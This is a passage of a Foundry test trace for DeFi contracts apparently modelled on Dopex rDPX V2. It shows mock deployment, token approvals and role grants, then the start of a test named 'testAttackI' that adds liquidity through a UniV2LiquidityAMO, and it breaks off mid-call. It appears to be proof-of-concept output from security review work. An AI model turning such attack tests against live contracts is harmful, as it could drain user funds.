    │   ├─ [2826] MockToken::allowance(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], spender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ emit AddressesSet(addresses: (0x03A6a84cD762D9707A21605b548aaaB891562aAb, 0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, 0x0000000000000000000000000000000000000001, 0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xD16d567549A2a2a2005aEACf7fB193851603dd70, 0x2a07706473244BC757E10F2a9E86fB532828afe3))
    │   └─ ← ()
    ├─ [330052] RdpxV2Core::setAddresses(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, RdpxDecayingBonds: [0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], RdpxReserve: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 0x0000000000000000000000000000000000000064, ReLPContract: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], RdpxV2Bond: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) 
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ [24681] MockToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ [24681] MockToken::approve(MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   ├─ emit LogSetAddresses(addresses: (0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7, 0x212224D2F2d262cd093eE13240ca4873fcCBbA3C, 0xD16d567549A2a2a2005aEACf7fB193851603dd70, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1, 0x0000000000000000000000000000000000000064, 0x1d1499e622D69689cdf9004d05Ec547d650Ff211, 0xa0Cb889707d426A7A386870A03bc70d1b0697598))
    │   └─ ← ()
    ├─ [46731] RdpxV2Core::setPricingOracleAddresses(MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], MockDpxEthPriceOracle: [0x15cF58144EF33af1e14b5208015d11F9143E27b9]) 
    │   ├─ emit LogSetPricingOracleAddresses(pricingOracleAddresses: (0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 0x15cF58144EF33af1e14b5208015d11F9143E27b9))
    │   └─ ← ()
    ├─ [24469] RdpxV2Core::addToContractWhitelist(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ emit AddToContractWhitelist(_contract: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [195909] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::addLiquidity(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 10000000000000000000000 [1e22], 2000000000000000000000 [2e21], 1000000000000000000000 [1e21], 200000000000000000000 [2e20], RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 1662865216 [1.662e9]) 
    │   ├─ [644] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::getPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
    │   │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    │   ├─ [2517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall]
    │   │   └─ ← 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 10000000000000000000000 [1e22]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 10000000000000000000000 [1e22])
    │   │   └─ ← true
    │   ├─ [25701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 2000000000000000000000 [2e21]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 2000000000000000000000 [2e21])
    │   │   └─ ← true
    │   ├─ [135190] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::mint(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   └─ ← 10000000000000000000000 [1e22]
    │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   └─ ← 2000000000000000000000 [2e21]
    │   │   ├─ [2338] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::feeTo() [staticcall]
    │   │   │   └─ ← 0x000000000000000000000000a19b3b22f29e23e4c04678c94cfc3e8f202137d8
    │   │   ├─ [2337] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::migrator() [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000000, amount: 1000)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 4472135954999579391818 [4.472e21])
    │   │   ├─ emit Sync(: 10000000000000000000000 [1e22], : 2000000000000000000000 [2e21])
    │   │   ├─ emit Mint(param0: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, param1: 10000000000000000000000 [1e22], param2: 2000000000000000000000 [2e21])
    │   │   └─ ← 4472135954999579391818 [4.472e21]
    │   └─ ← 0x00000000000000000000000000000000000000000000021e19e0c9bab240000000000000000000000000000000000000000000000000006c6b935b8bbd4000000000000000000000000000000000000000000000000000f26f5a94ae2a3e374a
    ├─ [23930] RdpxV2Core::setBondDiscount(100000 [1e5]) 
    │   ├─ emit LogSetBondDiscountFactor(bondDiscountFactor: 100000 [1e5])
    │   └─ ← ()
    ├─ [24681] MockToken::approve(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [24681] MockToken::approve(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [24681] MockToken::approve(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ emit Approval(owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], spender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← true
    ├─ [140092] PerpetualAtlanticVaultLP::deposit(100000000000000000000 [1e20], Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ [1144] PerpetualAtlanticVault::getUnderlyingPrice() [staticcall]
    │   │   ├─ [324] MockRdpxEthPriceOracle::getRdpxPriceInEth() [staticcall]
    │   │   │   └─ ← 20000000 [2e7]
    │   │   └─ ← 20000000 [2e7]
    │   ├─ [39946] PerpetualAtlanticVault::updateFunding() 
    │   │   ├─ [7315] MockToken::transfer(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 0) 
    │   │   │   ├─ emit Transfer(from: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], to: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 0)
    │   │   │   └─ ← true
    │   │   ├─ [2031] PerpetualAtlanticVaultLP::addProceeds(0) 
    │   │   │   ├─ [583] MockToken::balanceOf(PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70]) [staticcall]
    │   │   │   │   └─ ← 0
    │   │   │   └─ ← ()
    │   │   ├─ emit FundingPaid(sender: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 0, latestFundingPaymentPointer: 0)
    │   │   └─ ← ()
    │   ├─ [23701] MockToken::transferFrom(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], 100000000000000000000 [1e20]) 
    │   │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: PerpetualAtlanticVaultLP: [0xD16d567549A2a2a2005aEACf7fB193851603dd70], amount: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 100000000000000000000 [1e20])
    │   ├─ emit Deposit(caller: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], owner: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], assets: 100000000000000000000 [1e20], shares: 100000000000000000000 [1e20])
    │   └─ ← 100000000000000000000 [1e20]
    ├─ [295] PerpetualAtlanticVault::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27615] PerpetualAtlanticVault::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [239] DpxEthToken::MINTER_ROLE() [staticcall]
    │   └─ ← 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6
    ├─ [25549] DpxEthToken::grantRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [241] DpxEthToken::BURNER_ROLE() [staticcall]
    │   └─ ← 0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848
    ├─ [27549] DpxEthToken::grantRole(0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0x3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [23390] DpxEthToken::mint(Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], amount: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [1198] RdpxV2Core::sync() 
    │   ├─ emit LogSync()
    │   └─ ← ()
    ├─ [284] RdpxDecayingBonds::RDPXV2CORE_ROLE() [staticcall]
    │   └─ ← 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533
    ├─ [27526] RdpxDecayingBonds::grantRole(0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3]) 
    │   ├─ emit RoleGranted(role: 0xaf2ff2efa3cad65457fb5a76d1a146cc0c5db93bb8aa443da1e53a495bcd0533, account: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [26244] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [26244] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: PerpetualAtlanticVault: [0x212224D2F2d262cd093eE13240ca4873fcCBbA3C], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [26221] RdpxV2Core::approveContractToSpend(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24658] DpxEthToken::approve(0x5Aa2a79293424bf39171d704A364FDE3B641DB25, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: 0x5Aa2a79293424bf39171d704A364FDE3B641DB25, amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [26221] RdpxV2Core::approveContractToSpend(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24658] DpxEthToken::approve(MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: MockRdpxV2ReceiptToken: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [23995] RdpxV2Core::setBondMaturity(432000 [4.32e5]) 
    │   ├─ emit LogSetBondMaturity(bondMaturity: 432000 [4.32e5])
    │   └─ ← ()
    ├─ [118125] RdpxV2Core::addAssetTotokenReserves(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], RDPX) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], assetSymbol: RDPX)
    │   └─ ← ()
    ├─ [96795] RdpxV2Core::addAssetTotokenReserves(MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], WETH) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], assetSymbol: WETH)
    │   └─ ← ()
    ├─ [97365] RdpxV2Core::addAssetTotokenReserves(DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], DPXETH) 
    │   ├─ emit LogAssetAddedTotokenReserves(asset: DpxEthToken: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], assetSymbol: DPXETH)
    │   └─ ← ()
    └─ ← ()

  [2216928] Periphery::testAttackI() 
    ├─ [1623750] → new UniV2LiquidityAMO@0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758
    │   ├─ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000000, account: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← 7877 bytes of code
    ├─ [156876] UniV2LiquidityAMO::setAddresses(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], MockRdpxEthPriceOracle: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) 
    │   └─ ← ()
    ├─ [47149] RdpxV2Core::addAMOAddress(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) 
    │   └─ ← ()
    ├─ [28744] RdpxV2Core::approveContractToSpend(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [28744] RdpxV2Core::approveContractToSpend(MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   ├─ [24681] MockToken::approve(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) 
    │   │   ├─ emit Approval(owner: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], spender: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [32015] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 50000000000000000000 [5e19]) 
    │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 50000000000000000000 [5e19])
    │   └─ ← true
    ├─ [32015] MockToken::transfer(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], 11000000000000000000 [1.1e19]) 
    │   ├─ emit Transfer(from: Periphery: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], amount: 11000000000000000000 [1.1e19])
    │   └─ ← true
    ├─ [214708] UniV2LiquidityAMO::addLiquidity(5000000000000000000 [5e18], 1000000000000000000 [1e18], 0, 0) 
    │   ├─ [2826] MockToken::allowance(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 5000000000000000000 [5e18]) 
    │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 5000000000000000000 [5e18])
    │   │   └─ ← true
    │   ├─ [2826] MockToken::allowance(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506) [staticcall]
    │   │   └─ ← 0
    │   ├─ [22581] MockToken::approve(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, 1000000000000000000 [1e18]) 
    │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 1000000000000000000 [1e18])
    │   │   └─ ← true
    │   ├─ [25701] MockToken::transferFrom(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 5000000000000000000 [5e18]) 
    │   │   ├─ emit Transfer(from: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 5000000000000000000 [5e18])
    │   │   └─ ← true
    │   ├─ [25701] MockToken::transferFrom(RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 1000000000000000000 [1e18]) 
    │   │   ├─ emit Transfer(from: RdpxV2Core: [0x2a07706473244BC757E10F2a9E86fB532828afe3], to: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], amount: 1000000000000000000 [1e18])
    │   │   └─ ← true
    │   ├─ [91559] 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506::addLiquidity(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 5000000000000000000 [5e18], 1000000000000000000 [1e18], 0, 0, UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 1662864917 [1.662e9]) 
    │   │   ├─ [2644] 0xc35DADB65012eC5796536bD9864eD8773aBc74C4::getPair(MockToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockToken: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
    │   │   │   └─ ← 0x000000000000000000000000ba3647555a53e16eb88ae9e7e9cfce034c96277e
    │   │   ├─ [2517] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::getReserves() [staticcall]
    │   │   │   └─ ← 0x00000000000000000000000000000000000000000000021e19e0c9bab240000000000000000000000000000000000000000000000000006c6b935b8bbd40000000000000000000000000000000000000000000000000000000000000631d4e14
    │   │   ├─ [8660] MockToken::transferFrom(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 5000000000000000000 [5e18]) 
    │   │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 0)
    │   │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 5000000000000000000 [5e18])
    │   │   │   └─ ← true
    │   │   ├─ [8660] MockToken::transferFrom(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, 1000000000000000000 [1e18]) 
    │   │   │   ├─ emit Approval(owner: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], spender: 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506, amount: 0)
    │   │   │   ├─ emit Transfer(from: UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758], to: 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E, amount: 1000000000000000000 [1e18])
    │   │   │   └─ ← true
    │   │   ├─ [73348] 0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E::mint(UniV2LiquidityAMO: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) 
    │   │   │   ├─ [583] MockToken::balanceOf(0xBA3647555A53E16eb88AE9E7e9cfCe034C96277E) [staticcall]
    │   │   │   │   └─ ← 10005000000000000000000 [1e22]
